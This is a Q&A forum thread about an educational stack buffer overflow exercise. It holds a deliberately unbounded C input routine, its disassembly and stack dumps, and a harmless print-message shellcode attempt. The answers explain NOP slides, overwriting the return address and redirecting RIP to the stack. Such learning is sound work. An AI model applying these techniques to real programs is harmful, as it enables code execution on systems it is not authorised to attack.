1

So I am trying to complete a buffer overflow exercise. The code I am trying to exploit is below. What I want to be able to do is to insert my own print statement through the overflow attack. What I would like to do, is to run the attack through $ cat file | code.c

#include <stdio.h> #include <string.h> #define INPUT_BUFFER 256 /* maximum name size */ /* * read input, copy into s */ void getl(char *s) { int c; while ((c=getchar()) != EOF) *s++ = c; *s = '\0'; } void removenl(char *s) { int l; l = strlen(s); while (l--) if (s[l] == '\n') s[l] = '\0'; } int main() { char target[INPUT_BUFFER]; getl(target); if (strlen(target) < INPUT_BUFFER) { removenl(victim); printf("%s is the target\n", target); } return 0; } 

I know the attack would happen at the "char target[INPUT_BUFFER];" point. If we put for example 257 'a' it would generate a BOF.

The disassembly at the current moment looks like this.

 0x0000000000400673 <+0>: push %rbp 0x0000000000400674 <+1>: mov %rsp,%rbp 0x0000000000400677 <+4>: sub $0x100,%rsp => 0x000000000040067e <+11>: lea -0x100(%rbp),%rax 0x0000000000400685 <+18>: mov %rax,%rdi 0x0000000000400688 <+21>: callq 0x4005ed <getline> 0x000000000040068d <+26>: lea -0x100(%rbp),%rax 0x0000000000400694 <+33>: mov %rax,%rdi 0x0000000000400697 <+36>: callq 0x4004b0 <strlen@plt> 0x000000000040069c <+41>: cmp $0xff,%rax 0x00000000004006a2 <+47>: ja 0x4006cc <main+89> 0x00000000004006a4 <+49>: lea -0x100(%rbp),%rax 0x00000000004006ab <+56>: mov %rax,%rdi 0x00000000004006ae <+59>: callq 0x400623 <removenewlines> 0x00000000004006b3 <+64>: lea -0x100(%rbp),%rax 0x00000000004006ba <+71>: mov %rax,%rsi 0x00000000004006bd <+74>: mov $0x400764,%edi 0x00000000004006c2 <+79>: mov $0x0,%eax 0x00000000004006c7 <+84>: callq 0x4004c0 <printf@plt> 0x00000000004006cc <+89>: mov $0x0,%eax 0x00000000004006d1 <+94>: leaveq 0x00000000004006d2 <+95>: retq 

The stack without the buffer filled looks like this.

0x7fffffffded0: 0xf7ffe1c8 0x00007fff 0xf7de4961 0x00007fff 0x7fffffffdee0: 0x00000000 0x00000000 0xf7ff7a10 0x00007fff 0x7fffffffdef0: 0x00000001 0x00000000 0x00000000 0x00000000 0x7fffffffdf00: 0x00000001 0x00007fff 0xf7ffe1c8 0x00007fff 0x7fffffffdf10: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdf20: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdf30: 0x00000000 0x00000000 0xf7ffe520 0x00007fff 0x7fffffffdf40: 0xffffdf70 0x00007fff 0xffffdf60 0x00007fff 0x7fffffffdf50: 0xf63d4e2e 0x00000000 0x00400391 0x00000000 0x7fffffffdf60: 0xffffffff 0x00000000 0xffffe0c8 0x00007fff 0x7fffffffdf70: 0xf7a251f8 0x00007fff 0xf7ff74c0 0x00007fff 0x7fffffffdf80: 0xf7ffe1c8 0x00007fff 0x00000000 0x00000000 0x7fffffffdf90: 0x00000001 0x00000000 0x0040072d 0x00000000 0x7fffffffdfa0: 0xffffdfd0 0x00007fff 0x00000000 0x00000000 0x7fffffffdfb0: 0x004006e0 0x00000000 0x00400500 0x00000000 0x7fffffffdfc0: 0xffffe0b0 0x00007fff 0x00000000 0x00000000 0x7fffffffdfd0: 0x00000000 0x00000000 0xf7a36f45 0x00007fff 0x7fffffffdfe0: 0x00000000 0x00000000 0xffffe0b8 0x00007fff 0x7fffffffdff0: 0x00000000 0x00000001 0x00400673 0x00000000 0x7fffffffe000: 0x00000000 0x00000000 0x5f571179 0x81bce2d3 0x7fffffffe010: 0x00400500 0x00000000 0xffffe0b0 0x00007fff 

With the buffer filled, it looks like this.

0x7fffffffded0: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdee0: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdef0: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf00: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf10: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf20: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf30: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf40: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf50: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf60: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf70: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf80: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdf90: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdfa0: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdfb0: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffdfc0: 0x61616161 0x61616161 0x61616161 0x37636161 0x7fffffffdfd0: 0x30343630 0x00003030 0xf7a36f45 0x00007fff 0x7fffffffdfe0: 0x00000000 0x00000000 0xffffe0b8 0x00007fff 0x7fffffffdff0: 0x00000000 0x00000001 0x00400673 0x00000000 0x7fffffffe000: 0x00000000 0x00000000 0x5f571179 0x81bce2d3 0x7fffffffe010: 0x00400500 0x00000000 0xffffe0b0 0x00007fff 

I know to make this attack work, I need to work to overwrite a return address, and then put my own shell code in there.

I have put what I think would be the shellcode payload in to GDB and have gotten a shellcode representation of it.

#include <stdio.h> void main() { printf("Now i've pwn your computer"); return 0; } \xff\x25\x12\x0c\x20\x00\x68\x00\x00\x00\x00\xe9\xe0\xff\xff\xff\x55\x48\x89\xe5\xbf\xa4\x05\x40\x00\xb8\x00\x00\x00\x00\xe8\xe6\xfe\xff\xff\x90\x5d\xc3\x0f\x1f\x00 

How do I actually take this shellcode and make it an exploit? I guess I am confused on where to input it, and how to make the program naturally run it. Let me know if you see anything, or if you can give me some helpful hints in the right direction.

Thanks.

2
  • Did you disable ASLR, stack canaries and other mitigations for buffer overflow attacks that modern operating systems usually come with?
    – Tobi Nary
    CommentedApr 28, 2018 at 19:30
  • Yes, this is run on a linux environment. ASLR is disabled, well atleast I think so. The address in the stack printout is always exactly the same. , I also have -fno-stack-protector set to turn off stack-canaries.CommentedApr 28, 2018 at 19:35

2 Answers 2

0

While this is generally a rather broad question, I‘ll try to answer in a general approach:

If you disabled the usual suspects (stack canaries, ASLR, no-exec-bit,…), the general approach is as follows:

You check how much space you have to fill before the buffer overruns and fill that space with arbitrary input (I personally prefer NOPs to create a NOP slide, just in case).

Be sure to have your payload at the end of that NOP slide and before you are overwriting the return address.

For example, if the return address is the last 4 bytes of 1000 bytes and your payload is 100 bytes, you put 896 NOPs followed by your payload, followed by an address within the NOP slide.

You can look up the hex value for the architecture you‘re using online.

I personally like to either:

  • use python to generate the required input or
  • write the hex values manually into a text file and generate a binary that can be fed as input like you described using cat and a pipe.

To use the second option as you asked, you can generate the necessary binary file by using

xxd -r -p textfile > file 

Where textfile is your file containing a string of hex values like

 aaaaaaaaaaaaaaaff25… 
3
  • Just curious, for the shellcode portion, should it be just the printf and return statement, or should it be the entire main function?CommentedApr 28, 2018 at 20:36
  • Just the opcodes you want to execute. So in this case, a few pushes and a call.
    – Tobi Nary
    CommentedApr 28, 2018 at 21:09
  • Just got it working! Thanks for the hints and tips! The return address was crucial to getting it!CommentedApr 30, 2018 at 2:44
0

Whenever you thinking about executing a buffer overflow, you need to think about how to control the execution pointer (EIP/RIP) first.

The execution pointer is saved in the stack frame whenever a function is executed. When the function returns, it retrieves the execution pointer from stack and resumes execution (there are more to it, but I`m oversimplifying so you can get the general idea)

You cannot look into the stack alone. You must look into the registers: stack pointer, base pointer and instruction pointer. This will tell you whether you successfully overrode EIP and with the expected values.

Also, you need to override EIP with the address of your payload, but in order to do that you need to know where your payload is. In this case, since it is a simple buffer overflow, it is in the stack. However, you need to either know the address of the stack beforehand OR search for a JMP ESP instruction in the code and point EIP there.

So in summary:

  • Control EIP
  • Make EIP point to stack
  • Add remaining payload to the stack

    You must log in to answer this question.

    Start asking to get answers

    Find the answer to your question by asking.

    Ask question

    Explore related questions

    See similar questions with these tags.